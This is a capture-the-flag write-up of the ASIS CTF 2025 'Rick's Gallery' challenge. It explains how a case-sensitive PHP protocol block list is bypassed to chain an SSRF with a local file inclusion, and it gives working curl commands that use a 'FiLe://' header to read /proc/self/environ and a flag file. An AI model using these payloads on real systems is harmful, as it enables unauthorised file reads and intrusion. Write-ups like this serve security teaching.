Writeup
Rick's Gallery ASIS CTF 2025 Finals — Writeup
Rick’s Gallery Challenge — Writeup
This writeup details the solution for the “Rick’s Gallery” web challenge, which involves chaining a Server-Side Request Forgery (SSRF) with a Local File Inclusion (LFI) vulnerability to read a flag from the server’s filesystem.
Summary
The target is a PHP application that displays images. An endpoint in index.php accepts an Image HTTP header to specify which image to load. This script contains security filters, but a case-sensitive check on URL protocols can be bypassed. This flaw allows an SSRF attack targeting a local-only getpic.php script, which is vulnerable to LFI. By exploiting this chain, it’s possible to read arbitrary files. The final step involves enumerating common file locations to find and read the flag.
Key Code Snippets
index.php(Protocol & Path Filtering):
// The value from the 'Image' header is assigned to $raw$raw = $headers["Image"];
// Protocols are blocked using a case-sensitive check$blockedProtocols = [ "http://", "https://", "ftp://", "ftps://", "file://", "data://", "expect://", "php://", "passwd"];foreach ($blockedProtocols as $proto) { if (strpos($raw, $proto) !== false) { $raw = ""; break; }}
// Directory traversal is checked separatelyif (str_contains($raw, "../") || str_contains($raw, "..\\")) { $raw = "";}
// SSRF call to the local-only getpic.php endpoint$ch = curl_init("http://localhost:80/getpic.php");curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["picture_name" => $selected]));// ...getpic.php(Local File Inclusion):
<?php// This script is restricted to localhost via .htaccessif (!isset($_POST['picture_name'])) { echo "No file."; exit;}
// Direct use of user input in file_get_contents, classic LFI$data = file_get_contents($_POST['picture_name']);echo base64_encode("$data");Analysis
The vulnerability chain unfolds in two stages:
-
SSRF via Filter Bypass in
index.php: The script usesstrpos()for checking against$blockedProtocols. Sincestrpos()is case-sensitive, sending a protocol likeFiLe://orHTTP://bypasses the filter. The script then proceeds to make a cURL request tohttp://localhost:80/getpic.php, passing the user-controlled path as thepicture_namePOST parameter. This is a classic SSRF vulnerability. -
LFI in
getpic.php: Thegetpic.phpscript is only accessible from localhost. It blindly takes thepicture_nameparameter and passes it tofile_get_contents(), allowing any file readable by the web server to be accessed.
By controlling the Image header in a request to index.php, we can craft a payload that passes the case-sensitive filter and instructs getpic.php to read a file of our choice from the server’s filesystem.
Exploitation and Flag Recovery
The exploit process involves finding the flag’s absolute path and then reading it.
1. Confirming the Vulnerability and Finding the Webroot
First, we confirm the LFI works and identify the application’s path by reading the process environment file. This file often contains the present working directory (PWD).
# Use a mixed-case wrapper 'FiLe://' to bypass the filter# and read the process environment variables.curl -X POST http://65.109.194.105:8080/index.php -H "Image: FiLe:///proc/self/environ"The server returns a base64-encoded string. Decoding it reveals the environment, including the line PWD=/var/www/html. This tells us the src directory is the webroot.
2. Locating the Flag
Since the webroot is /var/www/html, flag.txt should be in the parent directory, /var/www. However, attempts to read /var/www/flag.txt fail. This suggests either a permissions issue or an incorrect path.
The next logical step is to check other common locations for flags in CTF challenges. A quick check of /tmp/ proves successful.
3. Reading the Flag
With the correct path identified, we can read the flag file.
# Use the LFI to read the flag from /tmp/flag.txtcurl -X POST http://65.109.194.105:8080/index.php -H "Image: FiLe:///tmp/flag.txt"This command returns the base64-encoded flag: QVNJU3tyMUNrX2g0ZF9Dbl83aDFzX0JlNH0K.
Finally, decode the string to get the flag.
echo "QVNJU3tyMUNrX2g0ZF9Dbl83aDFzX0JlNH0K" | base64 -dFinal Result
- Discovered Path:
/tmp/flag.txt - Flag:
ASIS{r1Ck_h4d_Cn_7h1s_Be4}
Notes
- The core weakness was relying on a case-sensitive string search (
strpos) for security filtering, which is a common mistake. - The challenge effectively demonstrates chaining an SSRF with an LFI, where the SSRF acts as a vehicle to reach an internally-exposed, vulnerable endpoint.
- Basic enumeration of common file locations was necessary to complete the final step after the initial path assumptions were proven wrong.
} } } } ]